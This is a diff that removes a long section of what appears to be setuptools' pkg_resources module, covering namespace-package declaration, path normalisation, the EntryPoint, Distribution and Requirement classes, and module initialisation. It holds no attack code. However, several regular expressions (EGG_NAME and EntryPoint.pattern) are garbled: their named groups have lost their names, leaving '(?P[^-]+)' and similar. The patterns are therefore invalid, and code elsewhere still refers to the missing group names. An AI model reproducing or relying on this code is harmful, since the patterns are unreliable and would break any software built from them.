-def declare_namespace(packageName: str):
-    """Declare that package 'packageName' is a namespace package"""
-
-    msg = (
-        f"Deprecated call to `pkg_resources.declare_namespace({packageName!r})`.\n"
-        "Implementing implicit namespace packages (as specified in PEP 420) "
-        "is preferred to `pkg_resources.declare_namespace`. "
-        "See https://setuptools.pypa.io/en/latest/references/"
-        "keywords.html#keyword-namespace-packages"
-    )
-    warnings.warn(msg, DeprecationWarning, stacklevel=2)
-
-    _imp.acquire_lock()
-    try:
-        if packageName in _namespace_packages:
-            return
-
-        path: MutableSequence[str] = sys.path
-        parent, _, _ = packageName.rpartition('.')
-
-        if parent:
-            declare_namespace(parent)
-            if parent not in _namespace_packages:
-                __import__(parent)
-            try:
-                path = sys.modules[parent].__path__
-            except AttributeError as e:
-                raise TypeError("Not a package:", parent) from e
-
-        # Track what packages are namespaces, so when new path items are added,
-        # they can be updated
-        _namespace_packages.setdefault(parent or None, []).append(packageName)
-        _namespace_packages.setdefault(packageName, [])
-
-        for path_item in path:
-            # Ensure all the parent's path items are reflected in the child,
-            # if they apply
-            _handle_ns(packageName, path_item)
-
-    finally:
-        _imp.release_lock()
-
-
-def fixup_namespace_packages(path_item: str, parent: str | None = None):
-    """Ensure that previously-declared namespace packages include path_item"""
-    _imp.acquire_lock()
-    try:
-        for package in _namespace_packages.get(parent, ()):
-            subpath = _handle_ns(package, path_item)
-            if subpath:
-                fixup_namespace_packages(subpath, package)
-    finally:
-        _imp.release_lock()
-
-
-def file_ns_handler(
-    importer: object,
-    path_item: StrPath,
-    packageName: str,
-    module: types.ModuleType,
-):
-    """Compute an ns-package subpath for a filesystem or zipfile importer"""
-
-    subpath = os.path.join(path_item, packageName.split('.')[-1])
-    normalized = _normalize_cached(subpath)
-    for item in module.__path__:
-        if _normalize_cached(item) == normalized:
-            break
-    else:
-        # Only return the path if it's not already there
-        return subpath
-
-
-if hasattr(pkgutil, 'ImpImporter'):
-    register_namespace_handler(pkgutil.ImpImporter, file_ns_handler)
-
-register_namespace_handler(zipimport.zipimporter, file_ns_handler)
-register_namespace_handler(importlib.machinery.FileFinder, file_ns_handler)
-
-
-def null_ns_handler(
-    importer: object,
-    path_item: str | None,
-    packageName: str | None,
-    module: _ModuleLike | None,
-):
-    return None
-
-
-register_namespace_handler(object, null_ns_handler)
-
-
-@overload
-def normalize_path(filename: StrPath) -> str: ...
-@overload
-def normalize_path(filename: BytesPath) -> bytes: ...
-def normalize_path(filename: StrOrBytesPath):
-    """Normalize a file/dir name for comparison purposes"""
-    return os.path.normcase(os.path.realpath(os.path.normpath(_cygwin_patch(filename))))
-
-
-def _cygwin_patch(filename: StrOrBytesPath):  # pragma: nocover
-    """
-    Contrary to POSIX 2008, on Cygwin, getcwd (3) contains
-    symlink components. Using
-    os.path.abspath() works around this limitation. A fix in os.getcwd()
-    would probably better, in Cygwin even more so, except
-    that this seems to be by design...
-    """
-    return os.path.abspath(filename) if sys.platform == 'cygwin' else filename
-
-
-if TYPE_CHECKING:
-    # https://github.com/python/mypy/issues/16261
-    # https://github.com/python/typeshed/issues/6347
-    @overload
-    def _normalize_cached(filename: StrPath) -> str: ...
-    @overload
-    def _normalize_cached(filename: BytesPath) -> bytes: ...
-    def _normalize_cached(filename: StrOrBytesPath) -> str | bytes: ...
-else:
-
-    @functools.lru_cache(maxsize=None)
-    def _normalize_cached(filename):
-        return normalize_path(filename)
-
-
-def _is_egg_path(path):
-    """
-    Determine if given path appears to be an egg.
-    """
-    return _is_zip_egg(path) or _is_unpacked_egg(path)
-
-
-def _is_zip_egg(path):
-    return (
-        path.lower().endswith('.egg')
-        and os.path.isfile(path)
-        and zipfile.is_zipfile(path)
-    )
-
-
-def _is_unpacked_egg(path):
-    """
-    Determine if given path appears to be an unpacked egg.
-    """
-    return path.lower().endswith('.egg') and os.path.isfile(
-        os.path.join(path, 'EGG-INFO', 'PKG-INFO')
-    )
-
-
-def _set_parent_ns(packageName):
-    parts = packageName.split('.')
-    name = parts.pop()
-    if parts:
-        parent = '.'.join(parts)
-        setattr(sys.modules[parent], name, sys.modules[packageName])
-
-
-MODULE = re.compile(r"\w+(\.\w+)*$").match
-EGG_NAME = re.compile(
-    r"""
-    (?P[^-]+) (
-        -(?P[^-]+) (
-            -py(?P[^-]+) (
-                -(?P.+)
-            )?
-        )?
-    )?
-    """,
-    re.VERBOSE | re.IGNORECASE,
-).match
-
-
-class EntryPoint:
-    """Object representing an advertised importable object"""
-
-    def __init__(
-        self,
-        name: str,
-        module_name: str,
-        attrs: Iterable[str] = (),
-        extras: Iterable[str] = (),
-        dist: Distribution | None = None,
-    ):
-        if not MODULE(module_name):
-            raise ValueError("Invalid module name", module_name)
-        self.name = name
-        self.module_name = module_name
-        self.attrs = tuple(attrs)
-        self.extras = tuple(extras)
-        self.dist = dist
-
-    def __str__(self):
-        s = "%s = %s" % (self.name, self.module_name)
-        if self.attrs:
-            s += ':' + '.'.join(self.attrs)
-        if self.extras:
-            s += ' [%s]' % ','.join(self.extras)
-        return s
-
-    def __repr__(self):
-        return "EntryPoint.parse(%r)" % str(self)
-
-    @overload
-    def load(
-        self,
-        require: Literal[True] = True,
-        env: Environment | None = None,
-        installer: _InstallerType | None = None,
-    ) -> _ResolvedEntryPoint: ...
-    @overload
-    def load(
-        self,
-        require: Literal[False],
-        *args: Any,
-        **kwargs: Any,
-    ) -> _ResolvedEntryPoint: ...
-    def load(
-        self,
-        require: bool = True,
-        *args: Environment | _InstallerType | None,
-        **kwargs: Environment | _InstallerType | None,
-    ) -> _ResolvedEntryPoint:
-        """
-        Require packages for this EntryPoint, then resolve it.
-        """
-        if not require or args or kwargs:
-            warnings.warn(
-                "Parameters to load are deprecated.  Call .resolve and "
-                ".require separately.",
-                PkgResourcesDeprecationWarning,
-                stacklevel=2,
-            )
-        if require:
-            # We could pass `env` and `installer` directly,
-            # but keeping `*args` and `**kwargs` for backwards compatibility
-            self.require(*args, **kwargs)  # type: ignore
-        return self.resolve()
-
-    def resolve(self) -> _ResolvedEntryPoint:
-        """
-        Resolve the entry point from its module and attrs.
-        """
-        module = __import__(self.module_name, fromlist=['__name__'], level=0)
-        try:
-            return functools.reduce(getattr, self.attrs, module)
-        except AttributeError as exc:
-            raise ImportError(str(exc)) from exc
-
-    def require(
-        self,
-        env: Environment | None = None,
-        installer: _InstallerType | None = None,
-    ):
-        if not self.dist:
-            error_cls = UnknownExtra if self.extras else AttributeError
-            raise error_cls("Can't require() without a distribution", self)
-
-        # Get the requirements for this entry point with all its extras and
-        # then resolve them. We have to pass `extras` along when resolving so
-        # that the working set knows what extras we want. Otherwise, for
-        # dist-info distributions, the working set will assume that the
-        # requirements for that extra are purely optional and skip over them.
-        reqs = self.dist.requires(self.extras)
-        items = working_set.resolve(reqs, env, installer, extras=self.extras)
-        list(map(working_set.add, items))
-
-    pattern = re.compile(
-        r'\s*'
-        r'(?P.+?)\s*'
-        r'=\s*'
-        r'(?P[\w.]+)\s*'
-        r'(:\s*(?P[\w.]+))?\s*'
-        r'(?P\[.*\])?\s*$'
-    )
-
-    @classmethod
-    def parse(cls, src: str, dist: Distribution | None = None):
-        """Parse a single entry point from string `src`
-
-        Entry point syntax follows the form::
-
-            name = some.module:some.attr [extra1, extra2]
-
-        The entry name and module name are required, but the ``:attrs`` and
-        ``[extras]`` parts are optional
-        """
-        m = cls.pattern.match(src)
-        if not m:
-            msg = "EntryPoint must be in 'name=module:attrs [extras]' format"
-            raise ValueError(msg, src)
-        res = m.groupdict()
-        extras = cls._parse_extras(res['extras'])
-        attrs = res['attr'].split('.') if res['attr'] else ()
-        return cls(res['name'], res['module'], attrs, extras, dist)
-
-    @classmethod
-    def _parse_extras(cls, extras_spec):
-        if not extras_spec:
-            return ()
-        req = Requirement.parse('x' + extras_spec)
-        if req.specs:
-            raise ValueError
-        return req.extras
-
-    @classmethod
-    def parse_group(
-        cls,
-        group: str,
-        lines: _NestedStr,
-        dist: Distribution | None = None,
-    ):
-        """Parse an entry point group"""
-        if not MODULE(group):
-            raise ValueError("Invalid group name", group)
-        this: dict[str, Self] = {}
-        for line in yield_lines(lines):
-            ep = cls.parse(line, dist)
-            if ep.name in this:
-                raise ValueError("Duplicate entry point", group, ep.name)
-            this[ep.name] = ep
-        return this
-
-    @classmethod
-    def parse_map(
-        cls,
-        data: str | Iterable[str] | dict[str, str | Iterable[str]],
-        dist: Distribution | None = None,
-    ):
-        """Parse a map of entry point groups"""
-        _data: Iterable[tuple[str | None, str | Iterable[str]]]
-        if isinstance(data, dict):
-            _data = data.items()
-        else:
-            _data = split_sections(data)
-        maps: dict[str, dict[str, Self]] = {}
-        for group, lines in _data:
-            if group is None:
-                if not lines:
-                    continue
-                raise ValueError("Entry points must be listed in groups")
-            group = group.strip()
-            if group in maps:
-                raise ValueError("Duplicate group name", group)
-            maps[group] = cls.parse_group(group, lines, dist)
-        return maps
-
-
-def _version_from_file(lines):
-    """
-    Given an iterable of lines from a Metadata file, return
-    the value of the Version field, if present, or None otherwise.
-    """
-
-    def is_version_line(line):
-        return line.lower().startswith('version:')
-
-    version_lines = filter(is_version_line, lines)
-    line = next(iter(version_lines), '')
-    _, _, value = line.partition(':')
-    return safe_version(value.strip()) or None
-
-
-class Distribution:
-    """Wrap an actual or potential sys.path entry w/metadata"""
-
-    PKG_INFO = 'PKG-INFO'
-
-    def __init__(
-        self,
-        location: str | None = None,
-        metadata: _MetadataType = None,
-        project_name: str | None = None,
-        version: str | None = None,
-        py_version: str | None = PY_MAJOR,
-        platform: str | None = None,
-        precedence: int = EGG_DIST,
-    ):
-        self.project_name = safe_name(project_name or 'Unknown')
-        if version is not None:
-            self._version = safe_version(version)
-        self.py_version = py_version
-        self.platform = platform
-        self.location = location
-        self.precedence = precedence
-        self._provider = metadata or empty_provider
-
-    @classmethod
-    def from_location(
-        cls,
-        location: str,
-        basename: StrPath,
-        metadata: _MetadataType = None,
-        **kw: int,  # We could set `precedence` explicitly, but keeping this as `**kw` for full backwards and subclassing compatibility
-    ) -> Distribution:
-        project_name, version, py_version, platform = [None] * 4
-        basename, ext = os.path.splitext(basename)
-        if ext.lower() in _distributionImpl:
-            cls = _distributionImpl[ext.lower()]
-
-            match = EGG_NAME(basename)
-            if match:
-                project_name, version, py_version, platform = match.group(
-                    'name', 'ver', 'pyver', 'plat'
-                )
-        return cls(
-            location,
-            metadata,
-            project_name=project_name,
-            version=version,
-            py_version=py_version,
-            platform=platform,
-            **kw,
-        )._reload_version()
-
-    def _reload_version(self):
-        return self
-
-    @property
-    def hashcmp(self):
-        return (
-            self._forgiving_parsed_version,
-            self.precedence,
-            self.key,
-            self.location,
-            self.py_version or '',
-            self.platform or '',
-        )
-
-    def __hash__(self):
-        return hash(self.hashcmp)
-
-    def __lt__(self, other: Distribution):
-        return self.hashcmp < other.hashcmp
-
-    def __le__(self, other: Distribution):
-        return self.hashcmp <= other.hashcmp
-
-    def __gt__(self, other: Distribution):
-        return self.hashcmp > other.hashcmp
-
-    def __ge__(self, other: Distribution):
-        return self.hashcmp >= other.hashcmp
-
-    def __eq__(self, other: object):
-        if not isinstance(other, self.__class__):
-            # It's not a Distribution, so they are not equal
-            return False
-        return self.hashcmp == other.hashcmp
-
-    def __ne__(self, other: object):
-        return not self == other
-
-    # These properties have to be lazy so that we don't have to load any
-    # metadata until/unless it's actually needed.  (i.e., some distributions
-    # may not know their name or version without loading PKG-INFO)
-
-    @property
-    def key(self):
-        try:
-            return self._key
-        except AttributeError:
-            self._key = key = self.project_name.lower()
-            return key
-
-    @property
-    def parsed_version(self):
-        if not hasattr(self, "_parsed_version"):
-            try:
-                self._parsed_version = parse_version(self.version)
-            except _packaging_version.InvalidVersion as ex:
-                info = f"(package: {self.project_name})"
-                if hasattr(ex, "add_note"):
-                    ex.add_note(info)  # PEP 678
-                    raise
-                raise _packaging_version.InvalidVersion(f"{str(ex)} {info}") from None
-
-        return self._parsed_version
-
-    @property
-    def _forgiving_parsed_version(self):
-        try:
-            return self.parsed_version
-        except _packaging_version.InvalidVersion as ex:
-            self._parsed_version = parse_version(_forgiving_version(self.version))
-
-            notes = "\n".join(getattr(ex, "__notes__", []))  # PEP 678
-            msg = f"""!!\n\n
-            *************************************************************************
-            {str(ex)}\n{notes}
-
-            This is a long overdue deprecation.
-            For the time being, `pkg_resources` will use `{self._parsed_version}`
-            as a replacement to avoid breaking existing environments,
-            but no future compatibility is guaranteed.
-
-            If you maintain package {self.project_name} you should implement
-            the relevant changes to adequate the project to PEP 440 immediately.
-            *************************************************************************
-            \n\n!!
-            """
-            warnings.warn(msg, DeprecationWarning)
-
-            return self._parsed_version
-
-    @property
-    def version(self):
-        try:
-            return self._version
-        except AttributeError as e:
-            version = self._get_version()
-            if version is None:
-                path = self._get_metadata_path_for_display(self.PKG_INFO)
-                msg = ("Missing 'Version:' header and/or {} file at path: {}").format(
-                    self.PKG_INFO, path
-                )
-                raise ValueError(msg, self) from e
-
-            return version
-
-    @property
-    def _dep_map(self):
-        """
-        A map of extra to its list of (direct) requirements
-        for this distribution, including the null extra.
-        """
-        try:
-            return self.__dep_map
-        except AttributeError:
-            self.__dep_map = self._filter_extras(self._build_dep_map())
-        return self.__dep_map
-
-    @staticmethod
-    def _filter_extras(dm: dict[str | None, list[Requirement]]):
-        """
-        Given a mapping of extras to dependencies, strip off
-        environment markers and filter out any dependencies
-        not matching the markers.
-        """
-        for extra in list(filter(None, dm)):
-            new_extra: str | None = extra
-            reqs = dm.pop(extra)
-            new_extra, _, marker = extra.partition(':')
-            fails_marker = marker and (
-                invalid_marker(marker) or not evaluate_marker(marker)
-            )
-            if fails_marker:
-                reqs = []
-            new_extra = safe_extra(new_extra) or None
-
-            dm.setdefault(new_extra, []).extend(reqs)
-        return dm
-
-    def _build_dep_map(self):
-        dm = {}
-        for name in 'requires.txt', 'depends.txt':
-            for extra, reqs in split_sections(self._get_metadata(name)):
-                dm.setdefault(extra, []).extend(parse_requirements(reqs))
-        return dm
-
-    def requires(self, extras: Iterable[str] = ()):
-        """List of Requirements needed for this distro if `extras` are used"""
-        dm = self._dep_map
-        deps: list[Requirement] = []
-        deps.extend(dm.get(None, ()))
-        for ext in extras:
-            try:
-                deps.extend(dm[safe_extra(ext)])
-            except KeyError as e:
-                raise UnknownExtra(
-                    "%s has no such extra feature %r" % (self, ext)
-                ) from e
-        return deps
-
-    def _get_metadata_path_for_display(self, name):
-        """
-        Return the path to the given metadata file, if available.
-        """
-        try:
-            # We need to access _get_metadata_path() on the provider object
-            # directly rather than through this class's __getattr__()
-            # since _get_metadata_path() is marked private.
-            path = self._provider._get_metadata_path(name)
-
-        # Handle exceptions e.g. in case the distribution's metadata
-        # provider doesn't support _get_metadata_path().
-        except Exception:
-            return '[could not detect]'
-
-        return path
-
-    def _get_metadata(self, name):
-        if self.has_metadata(name):
-            yield from self.get_metadata_lines(name)
-
-    def _get_version(self):
-        lines = self._get_metadata(self.PKG_INFO)
-        return _version_from_file(lines)
-
-    def activate(self, path: list[str] | None = None, replace: bool = False):
-        """Ensure distribution is importable on `path` (default=sys.path)"""
-        if path is None:
-            path = sys.path
-        self.insert_on(path, replace=replace)
-        if path is sys.path and self.location is not None:
-            fixup_namespace_packages(self.location)
-            for pkg in self._get_metadata('namespace_packages.txt'):
-                if pkg in sys.modules:
-                    declare_namespace(pkg)
-
-    def egg_name(self):
-        """Return what this distribution's standard .egg filename should be"""
-        filename = "%s-%s-py%s" % (
-            to_filename(self.project_name),
-            to_filename(self.version),
-            self.py_version or PY_MAJOR,
-        )
-
-        if self.platform:
-            filename += '-' + self.platform
-        return filename
-
-    def __repr__(self):
-        if self.location:
-            return "%s (%s)" % (self, self.location)
-        else:
-            return str(self)
-
-    def __str__(self):
-        try:
-            version = getattr(self, 'version', None)
-        except ValueError:
-            version = None
-        version = version or "[unknown version]"
-        return "%s %s" % (self.project_name, version)
-
-    def __getattr__(self, attr):
-        """Delegate all unrecognized public attributes to .metadata provider"""
-        if attr.startswith('_'):
-            raise AttributeError(attr)
-        return getattr(self._provider, attr)
-
-    def __dir__(self):
-        return list(
-            set(super().__dir__())
-            | set(attr for attr in self._provider.__dir__() if not attr.startswith('_'))
-        )
-
-    @classmethod
-    def from_filename(
-        cls,
-        filename: StrPath,
-        metadata: _MetadataType = None,
-        **kw: int,  # We could set `precedence` explicitly, but keeping this as `**kw` for full backwards and subclassing compatibility
-    ):
-        return cls.from_location(
-            _normalize_cached(filename), os.path.basename(filename), metadata, **kw
-        )
-
-    def as_requirement(self):
-        """Return a ``Requirement`` that matches this distribution exactly"""
-        if isinstance(self.parsed_version, _packaging_version.Version):
-            spec = "%s==%s" % (self.project_name, self.parsed_version)
-        else:
-            spec = "%s===%s" % (self.project_name, self.parsed_version)
-
-        return Requirement.parse(spec)
-
-    def load_entry_point(self, group: str, name: str) -> _ResolvedEntryPoint:
-        """Return the `name` entry point of `group` or raise ImportError"""
-        ep = self.get_entry_info(group, name)
-        if ep is None:
-            raise ImportError("Entry point %r not found" % ((group, name),))
-        return ep.load()
-
-    @overload
-    def get_entry_map(self, group: None = None) -> dict[str, dict[str, EntryPoint]]: ...
-    @overload
-    def get_entry_map(self, group: str) -> dict[str, EntryPoint]: ...
-    def get_entry_map(self, group: str | None = None):
-        """Return the entry point map for `group`, or the full entry map"""
-        if not hasattr(self, "_ep_map"):
-            self._ep_map = EntryPoint.parse_map(
-                self._get_metadata('entry_points.txt'), self
-            )
-        if group is not None:
-            return self._ep_map.get(group, {})
-        return self._ep_map
-
-    def get_entry_info(self, group: str, name: str):
-        """Return the EntryPoint object for `group`+`name`, or ``None``"""
-        return self.get_entry_map(group).get(name)
-
-    # FIXME: 'Distribution.insert_on' is too complex (13)
-    def insert_on(  # noqa: C901
-        self,
-        path: list[str],
-        loc=None,
-        replace: bool = False,
-    ):
-        """Ensure self.location is on path
-
-        If replace=False (default):
-            - If location is already in path anywhere, do nothing.
-            - Else:
-              - If it's an egg and its parent directory is on path,
-                insert just ahead of the parent.
-              - Else: add to the end of path.
-        If replace=True:
-            - If location is already on path anywhere (not eggs)
-              or higher priority than its parent (eggs)
-              do nothing.
-            - Else:
-              - If it's an egg and its parent directory is on path,
-                insert just ahead of the parent,
-                removing any lower-priority entries.
-              - Else: add it to the front of path.
-        """
-
-        loc = loc or self.location
-        if not loc:
-            return
-
-        nloc = _normalize_cached(loc)
-        bdir = os.path.dirname(nloc)
-        npath = [(p and _normalize_cached(p) or p) for p in path]
-
-        for p, item in enumerate(npath):
-            if item == nloc:
-                if replace:
-                    break
-                else:
-                    # don't modify path (even removing duplicates) if
-                    # found and not replace
-                    return
-            elif item == bdir and self.precedence == EGG_DIST:
-                # if it's an .egg, give it precedence over its directory
-                # UNLESS it's already been added to sys.path and replace=False
-                if (not replace) and nloc in npath[p:]:
-                    return
-                if path is sys.path:
-                    self.check_version_conflict()
-                path.insert(p, loc)
-                npath.insert(p, nloc)
-                break
-        else:
-            if path is sys.path:
-                self.check_version_conflict()
-            if replace:
-                path.insert(0, loc)
-            else:
-                path.append(loc)
-            return
-
-        # p is the spot where we found or inserted loc; now remove duplicates
-        while True:
-            try:
-                np = npath.index(nloc, p + 1)
-            except ValueError:
-                break
-            else:
-                del npath[np], path[np]
-                # ha!
-                p = np
-
-        return
-
-    def check_version_conflict(self):
-        if self.key == 'setuptools':
-            # ignore the inevitable setuptools self-conflicts  :(
-            return
-
-        nsp = dict.fromkeys(self._get_metadata('namespace_packages.txt'))
-        loc = normalize_path(self.location)
-        for modname in self._get_metadata('top_level.txt'):
-            if (
-                modname not in sys.modules
-                or modname in nsp
-                or modname in _namespace_packages
-            ):
-                continue
-            if modname in ('pkg_resources', 'setuptools', 'site'):
-                continue
-            fn = getattr(sys.modules[modname], '__file__', None)
-            if fn and (
-                normalize_path(fn).startswith(loc) or fn.startswith(self.location)
-            ):
-                continue
-            issue_warning(
-                "Module %s was already imported from %s, but %s is being added"
-                " to sys.path" % (modname, fn, self.location),
-            )
-
-    def has_version(self):
-        try:
-            self.version
-        except ValueError:
-            issue_warning("Unbuilt egg for " + repr(self))
-            return False
-        except SystemError:
-            # TODO: remove this except clause when python/cpython#103632 is fixed.
-            return False
-        return True
-
-    def clone(self, **kw: str | int | IResourceProvider | None):
-        """Copy this distribution, substituting in any changed keyword args"""
-        names = 'project_name version py_version platform location precedence'
-        for attr in names.split():
-            kw.setdefault(attr, getattr(self, attr, None))
-        kw.setdefault('metadata', self._provider)
-        # Unsafely unpacking. But keeping **kw for backwards and subclassing compatibility
-        return self.__class__(**kw)  # type:ignore[arg-type]
-
-    @property
-    def extras(self):
-        return [dep for dep in self._dep_map if dep]
-
-
-class EggInfoDistribution(Distribution):
-    def _reload_version(self):
-        """
-        Packages installed by distutils (e.g. numpy or scipy),
-        which uses an old safe_version, and so
-        their version numbers can get mangled when
-        converted to filenames (e.g., 1.11.0.dev0+2329eae to
-        1.11.0.dev0_2329eae). These distributions will not be
-        parsed properly
-        downstream by Distribution and safe_version, so
-        take an extra step and try to get the version number from
-        the metadata file itself instead of the filename.
-        """
-        md_version = self._get_version()
-        if md_version:
-            self._version = md_version
-        return self
-
-
-class DistInfoDistribution(Distribution):
-    """
-    Wrap an actual or potential sys.path entry
-    w/metadata, .dist-info style.
-    """
-
-    PKG_INFO = 'METADATA'
-    EQEQ = re.compile(r"([\(,])\s*(\d.*?)\s*([,\)])")
-
-    @property
-    def _parsed_pkg_info(self):
-        """Parse and cache metadata"""
-        try:
-            return self._pkg_info
-        except AttributeError:
-            metadata = self.get_metadata(self.PKG_INFO)
-            self._pkg_info = email.parser.Parser().parsestr(metadata)
-            return self._pkg_info
-
-    @property
-    def _dep_map(self):
-        try:
-            return self.__dep_map
-        except AttributeError:
-            self.__dep_map = self._compute_dependencies()
-            return self.__dep_map
-
-    def _compute_dependencies(self) -> dict[str | None, list[Requirement]]:
-        """Recompute this distribution's dependencies."""
-        self.__dep_map: dict[str | None, list[Requirement]] = {None: []}
-
-        reqs: list[Requirement] = []
-        # Including any condition expressions
-        for req in self._parsed_pkg_info.get_all('Requires-Dist') or []:
-            reqs.extend(parse_requirements(req))
-
-        def reqs_for_extra(extra):
-            for req in reqs:
-                if not req.marker or req.marker.evaluate({'extra': extra}):
-                    yield req
-
-        common = types.MappingProxyType(dict.fromkeys(reqs_for_extra(None)))
-        self.__dep_map[None].extend(common)
-
-        for extra in self._parsed_pkg_info.get_all('Provides-Extra') or []:
-            s_extra = safe_extra(extra.strip())
-            self.__dep_map[s_extra] = [
-                r for r in reqs_for_extra(extra) if r not in common
-            ]
-
-        return self.__dep_map
-
-
-_distributionImpl = {
-    '.egg': Distribution,
-    '.egg-info': EggInfoDistribution,
-    '.dist-info': DistInfoDistribution,
-}
-
-
-def issue_warning(*args, **kw):
-    level = 1
-    g = globals()
-    try:
-        # find the first stack frame that is *not* code in
-        # the pkg_resources module, to use for the warning
-        while sys._getframe(level).f_globals is g:
-            level += 1
-    except ValueError:
-        pass
-    warnings.warn(stacklevel=level + 1, *args, **kw)
-
-
-def parse_requirements(strs: _NestedStr):
-    """
-    Yield ``Requirement`` objects for each specification in `strs`.
-
-    `strs` must be a string, or a (possibly-nested) iterable thereof.
-    """
-    return map(Requirement, join_continuation(map(drop_comment, yield_lines(strs))))
-
-
-class RequirementParseError(_packaging_requirements.InvalidRequirement):
-    "Compatibility wrapper for InvalidRequirement"
-
-
-class Requirement(_packaging_requirements.Requirement):
-    def __init__(self, requirement_string: str):
-        """DO NOT CALL THIS UNDOCUMENTED METHOD; use Requirement.parse()!"""
-        super().__init__(requirement_string)
-        self.unsafe_name = self.name
-        project_name = safe_name(self.name)
-        self.project_name, self.key = project_name, project_name.lower()
-        self.specs = [(spec.operator, spec.version) for spec in self.specifier]
-        # packaging.requirements.Requirement uses a set for its extras. We use a variable-length tuple
-        self.extras: tuple[str] = tuple(map(safe_extra, self.extras))
-        self.hashCmp = (
-            self.key,
-            self.url,
-            self.specifier,
-            frozenset(self.extras),
-            str(self.marker) if self.marker else None,
-        )
-        self.__hash = hash(self.hashCmp)
-
-    def __eq__(self, other: object):
-        return isinstance(other, Requirement) and self.hashCmp == other.hashCmp
-
-    def __ne__(self, other):
-        return not self == other
-
-    def __contains__(self, item: Distribution | str | tuple[str, ...]) -> bool:
-        if isinstance(item, Distribution):
-            if item.key != self.key:
-                return False
-
-            item = item.version
-
-        # Allow prereleases always in order to match the previous behavior of
-        # this method. In the future this should be smarter and follow PEP 440
-        # more accurately.
-        return self.specifier.contains(item, prereleases=True)
-
-    def __hash__(self):
-        return self.__hash
-
-    def __repr__(self):
-        return "Requirement.parse(%r)" % str(self)
-
-    @staticmethod
-    def parse(s: str | Iterable[str]):
-        (req,) = parse_requirements(s)
-        return req
-
-
-def _always_object(classes):
-    """
-    Ensure object appears in the mro even
-    for old-style classes.
-    """
-    if object not in classes:
-        return classes + (object,)
-    return classes
-
-
-def _find_adapter(registry: Mapping[type, _AdapterT], ob: object) -> _AdapterT:
-    """Return an adapter factory for `ob` from `registry`"""
-    types = _always_object(inspect.getmro(getattr(ob, '__class__', type(ob))))
-    for t in types:
-        if t in registry:
-            return registry[t]
-    # _find_adapter would previously return None, and immediately be called.
-    # So we're raising a TypeError to keep backward compatibility if anyone depended on that behaviour.
-    raise TypeError(f"Could not find adapter for {registry} and {ob}")
-
-
-def ensure_directory(path: StrOrBytesPath):
-    """Ensure that the parent directory of `path` exists"""
-    dirname = os.path.dirname(path)
-    os.makedirs(dirname, exist_ok=True)
-
-
-def _bypass_ensure_directory(path):
-    """Sandbox-bypassing version of ensure_directory()"""
-    if not WRITE_SUPPORT:
-        raise OSError('"os.mkdir" not supported on this platform.')
-    dirname, filename = split(path)
-    if dirname and filename and not isdir(dirname):
-        _bypass_ensure_directory(dirname)
-        try:
-            mkdir(dirname, 0o755)
-        except FileExistsError:
-            pass
-
-
-def split_sections(s: _NestedStr) -> Iterator[tuple[str | None, list[str]]]:
-    """Split a string or iterable thereof into (section, content) pairs
-
-    Each ``section`` is a stripped version of the section header ("[section]")
-    and each ``content`` is a list of stripped lines excluding blank lines and
-    comment-only lines.  If there are any such lines before the first section
-    header, they're returned in a first ``section`` of ``None``.
-    """
-    section = None
-    content = []
-    for line in yield_lines(s):
-        if line.startswith("["):
-            if line.endswith("]"):
-                if section or content:
-                    yield section, content
-                section = line[1:-1].strip()
-                content = []
-            else:
-                raise ValueError("Invalid section heading", line)
-        else:
-            content.append(line)
-
-    # wrap up last segment
-    yield section, content
-
-
-def _mkstemp(*args, **kw):
-    old_open = os.open
-    try:
-        # temporarily bypass sandboxing
-        os.open = os_open
-        return tempfile.mkstemp(*args, **kw)
-    finally:
-        # and then put it back
-        os.open = old_open
-
-
-# Silence the PEP440Warning by default, so that end users don't get hit by it
-# randomly just because they use pkg_resources. We want to append the rule
-# because we want earlier uses of filterwarnings to take precedence over this
-# one.
-warnings.filterwarnings("ignore", category=PEP440Warning, append=True)
-
-
-class PkgResourcesDeprecationWarning(Warning):
-    """
-    Base class for warning about deprecations in ``pkg_resources``
-
-    This class is not derived from ``DeprecationWarning``, and as such is
-    visible by default.
-    """
-
-
-# Ported from ``setuptools`` to avoid introducing an import inter-dependency:
-_LOCALE_ENCODING = "locale" if sys.version_info >= (3, 10) else None
-
-
-def _read_utf8_with_fallback(file: str, fallback_encoding=_LOCALE_ENCODING) -> str:
-    """See setuptools.unicode_utils._read_utf8_with_fallback"""
-    try:
-        with open(file, "r", encoding="utf-8") as f:
-            return f.read()
-    except UnicodeDecodeError:  # pragma: no cover
-        msg = f"""\
-        ********************************************************************************
-        `encoding="utf-8"` fails with {file!r}, trying `encoding={fallback_encoding!r}`.
-
-        This fallback behaviour is considered **deprecated** and future versions of
-        `setuptools/pkg_resources` may not implement it.
-
-        Please encode {file!r} with "utf-8" to ensure future builds will succeed.
-
-        If this file was produced by `setuptools` itself, cleaning up the cached files
-        and re-building/re-installing the package with a newer version of `setuptools`
-        (e.g. by updating `build-system.requires` in its `pyproject.toml`)
-        might solve the problem.
-        ********************************************************************************
-        """
-        # TODO: Add a deadline?
-        #       See comment in setuptools.unicode_utils._Utf8EncodingNeeded
-        warnings.warn(msg, PkgResourcesDeprecationWarning, stacklevel=2)
-        with open(file, "r", encoding=fallback_encoding) as f:
-            return f.read()
-
-
-# from jaraco.functools 1.3
-def _call_aside(f, *args, **kwargs):
-    f(*args, **kwargs)
-    return f
-
-
-@_call_aside
-def _initialize(g=globals()):
-    "Set up global resource manager (deliberately not state-saved)"
-    manager = ResourceManager()
-    g['_manager'] = manager
-    g.update(
-        (name, getattr(manager, name))
-        for name in dir(manager)
-        if not name.startswith('_')
-    )
-
-
-@_call_aside
-def _initialize_master_working_set():
-    """
-    Prepare the master working set and make the ``require()``
-    API available.
-
-    This function has explicit effects on the global state
-    of pkg_resources. It is intended to be invoked once at
-    the initialization of this module.
-
-    Invocation by other packages is unsupported and done
-    at their own risk.
-    """
-    working_set = _declare_state('object', 'working_set', WorkingSet._build_master())
-
-    require = working_set.require
-    iter_entry_points = working_set.iter_entry_points
-    add_activation_listener = working_set.subscribe
-    run_script = working_set.run_script
-    # backward compatibility
-    run_main = run_script
-    # Activate all distributions already on sys.path with replace=False and
-    # ensure that all distributions added to the working set in the future
-    # (e.g. by calling ``require()``) will get activated as well,
-    # with higher priority (replace=True).
-    tuple(dist.activate(replace=False) for dist in working_set)
-    add_activation_listener(
-        lambda dist: dist.activate(replace=True),
-        existing=False,
-    )
-    working_set.entries = []
-    # match order
-    list(map(working_set.add_entry, sys.path))
-    globals().update(locals())
-
-
-if TYPE_CHECKING:
-    # All of these are set by the @_call_aside methods above
-    __resource_manager = ResourceManager()  # Won't exist at runtime
-    resource_exists = __resource_manager.resource_exists
